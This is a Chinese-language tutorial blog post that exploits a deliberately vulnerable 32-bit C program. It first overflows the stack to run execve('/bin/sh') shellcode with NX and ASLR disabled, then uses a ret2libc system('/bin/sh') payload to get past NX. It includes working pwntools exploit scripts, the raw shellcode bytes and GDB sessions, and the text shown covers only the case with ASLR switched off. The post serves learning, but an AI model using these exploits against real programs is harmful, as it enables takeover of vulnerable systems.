Bypass NX and PIE

Bypass NX and PIE

六月 24, 2017

(这篇东西本来好久之前就想写了,但是一直拖来拖去拖到了考试结束。之前一直对ROP不太熟悉,然后系统的学习了一下,发现写着写着就写了好多东西。)

关于 NX 和 PIE

NX

NX,或者说DEP,全称是Data Excution Protection(数据执行保护),用来防止恶意程序对系统的攻击,如溢出。DEP可以使指定的内存页不具有可执行属性。这样一来,如果指定栈所在的内存页不可执行,那么,当我们要栈上溢出时,我们的Shellcode将难以被执行。

PIE

PIE,或者ALSR,全称是Address space layout randomization。是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术。

Exploit

先贴上测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

Control Flow Hijack

先对上述程序进行编译,关掉NX和栈溢出保护:

1
gcc -m32 -fno-stack-protector -z execstack -o test1 test.c

关闭PIE:

1
2
3
sudo -s 
echo 0 > /proc/sys/kernel/randomize_va_space
exit

开启core dump:(保证buf的地址在gdb的调试环境中不变)

1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

利用pwntools生成200长度的字符串:

1
2
3
4
>>> from pwn import *

>>> cyclic(200)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'

然后GDB调试我们的test1程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
gdb-peda$ run
Starting program: /home/processor/test1
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x0
ECX: 0xffffd4f0 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
EDX: 0x100
ESI: 0xf7fb7000 --> 0x1b1db0
EDI: 0xf7fb7000 --> 0x1b1db0
EBP: 0x6261616a ('jaab')
ESP: 0xffffd580 ("laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\np\373\367\004\334\377", <incomplete sequence \367>)
EIP: 0x6261616b ('kaab')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6261616b
[------------------------------------stack-------------------------------------]
0000| 0xffffd580 ("laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\np\373\367\004\334\377", <incomplete sequence \367>)
0004| 0xffffd584 ("maabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\np\373\367\004\334\377", <incomplete sequence \367>)
0008| 0xffffd588 ("naaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\np\373\367\004\334\377", <incomplete sequence \367>)
0012| 0xffffd58c ("oaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\np\373\367\004\334\377", <incomplete sequence \367>)
0016| 0xffffd590 ("paabqaabraabsaabtaabuaabvaabwaabxaabyaab\np\373\367\004\334\377", <incomplete sequence \367>)
0020| 0xffffd594 ("qaabraabsaabtaabuaabvaabwaabxaabyaab\np\373\367\004\334\377", <incomplete sequence \367>)
0024| 0xffffd598 ("raabsaabtaabuaabvaabwaabxaabyaab\np\373\367\004\334\377", <incomplete sequence \367>)
0028| 0xffffd59c ("saabtaabuaabvaabwaabxaabyaab\np\373\367\004\334\377", <incomplete sequence \367>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6261616b in ?? ()
gdb-peda$

然后利用pwntools:

1
2
>>> cyclic_find(0x6261616b)
140

第140字节后的4个字节会覆盖read函数的返回地址,然后我们可以扔一个shellcode进去,比如execve ("/bin/sh")

1
2
3
4
5
6
7
8
9
10
11
12
13
# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。因为我们之前开启了core dump,每次内存出错,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  ~ gdb test1 /tmp/core.1499073189

Core was generated by `./test1'.
Program terminated with signal SIGILL, Illegal instruction.
#0 0xffffd4f2 in ?? ()
gdb-peda$ x/10s $esp-144
0xffffd510: "1\311\367\341Qh//shh/bin\211\343\260\v̀", 'a' <repeats 119 times>, "\360\324\377\377\ns\373\367\300\325\377\377"
0xffffd5a9: ""
0xffffd5aa: ""
0xffffd5ab: ""
0xffffd5ac: "7\326\341", <incomplete sequence \367>
0xffffd5b1: "p\373", <incomplete sequence \367>
0xffffd5b5: "p\373", <incomplete sequence \367>
0xffffd5b9: ""
0xffffd5ba: ""
0xffffd5bb: ""

我们得到buffer的起始地址是0xffffd510,所以,poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
# context.log_level = 'debug'
p = process('./test1')

ret = 0xffffd510

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = shellcode + 'a' * (140 - len(shellcode)) + p32(ret)

p.sendline(payload)

p.interactive()

测试结果:

1
2
3
4
5
6
7
8
➜  ~ python payload.py
[+] Starting local process './test1': Done
[!] Disable ptrace_scope to attach to running processes.
More info: https://askubuntu.com/q/41629
[*] Switching to interactiv
$ whoami
processor
$

Bypass NX

现在开启NX保护,重新编译test.c:

1
gcc -m32 -fno-stack-protector -o test2 test.c

查看一下test2程序的栈状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  ~ sudo cat /proc/47753/maps
08048000-08049000 r-xp 00000000 08:01 667644 /home/processor/test2
08049000-0804a000 r--p 00000000 08:01 667644 /home/processor/test2
0804a000-0804b000 rw-p 00001000 08:01 667644 /home/processor/test2
f7e05000-f7fb4000 r-xp 00000000 08:01 575786 /lib/i386-linux-gnu/libc-2.23.so
f7fb4000-f7fb5000 ---p 001af000 08:01 575786 /lib/i386-linux-gnu/libc-2.23.so
f7fb5000-f7fb7000 r--p 001af000 08:01 575786 /lib/i386-linux-gnu/libc-2.23.so
f7fb7000-f7fb8000 rw-p 001b1000 08:01 575786 /lib/i386-linux-gnu/libc-2.23.so
f7fb8000-f7fbb000 rw-p 00000000 00:00 0
f7fd4000-f7fd6000 rw-p 00000000 00:00 0
f7fd6000-f7fd8000 r--p 00000000 00:00 0 [vvar]
f7fd8000-f7fd9000 r-xp 00000000 00:00 0 [vdso]
f7fd9000-f7ffb000 r-xp 00000000 08:01 575787 /lib/i386-linux-gnu/ld-2.23.so
f7ffb000-f7ffc000 rw-p 00000000 00:00 0
f7ffc000-f7ffd000 r--p 00022000 08:01 575787 /lib/i386-linux-gnu/ld-2.23.so
f7ffd000-f7ffe000 rw-p 00023000 08:01 575787 /lib/i386-linux-gnu/ld-2.23.so
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]

可以看到[stack]是rw-p,并没有执行权限,所以我们test1的shellcode便无法执行。
我们知道test2调用了libc.so,所以考虑调用system(“/bin/sh”)

如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。可以用GDB寻找目标地址(我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
gdb-peda$ break main
Breakpoint 1 at 0x804846e
gdb-peda$ run
Starting program: /home/processor/test2

[----------------------------------registers-----------------------------------]
EAX: 0xf7fb8dbc --> 0xffffd0bc --> 0xffffd299 ("CLUTTER_IM_MODULE=xim")
EBX: 0x0
ECX: 0xffffd020 --> 0x1
EDX: 0xffffd044 --> 0x0
ESI: 0xf7fb7000 --> 0x1b1db0
EDI: 0xf7fb7000 --> 0x1b1db0
EBP: 0xffffd008 --> 0x0
ESP: 0xffffd004 --> 0xffffd020 --> 0x1
EIP: 0x804846e (<main+14>: sub esp,0x4)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804846a <main+10>: push ebp
0x804846b <main+11>: mov ebp,esp
0x804846d <main+13>: push ecx
=> 0x804846e <main+14>: sub esp,0x4
0x8048471 <main+17>: call 0x804843b <vulnerable_function>
0x8048476 <main+22>: sub esp,0x4
0x8048479 <main+25>: push 0xd
0x804847b <main+27>: push 0x8048520
[------------------------------------stack-------------------------------------]
0000| 0xffffd004 --> 0xffffd020 --> 0x1
0004| 0xffffd008 --> 0x0
0008| 0xffffd00c --> 0xf7e1d637 (<__libc_start_main+247>: add esp,0x10)
0012| 0xffffd010 --> 0xf7fb7000 --> 0x1b1db0
0016| 0xffffd014 --> 0xf7fb7000 --> 0x1b1db0
0020| 0xffffd018 --> 0x0
0024| 0xffffd01c --> 0xf7e1d637 (<__libc_start_main+247>: add esp,0x10)
0028| 0xffffd020 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804846e in main ()
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xf7e3fda0 <system>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f6082b ("/bin/sh")
gdb-peda$ x/s 0xf7f6082b
0xf7f6082b: "/bin/sh"

所以,可以写poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = process('./test2')

ret = 0xdeadbeef
system_addr=0xf7e3fda0
binsh_addr=0xf7f6082b

payload = 'a'*140 + p32(system_addr) + p32(ret) + p32(binsh_addr)

p.send(payload)

p.interactive()

测试结果:

1
2
3
4
5
6
➜  ~ python payload.py
[+] Starting local process './test2': Done
[*] Switching to interactive mode
$ whoami
processor
$

Bypass NX and PIE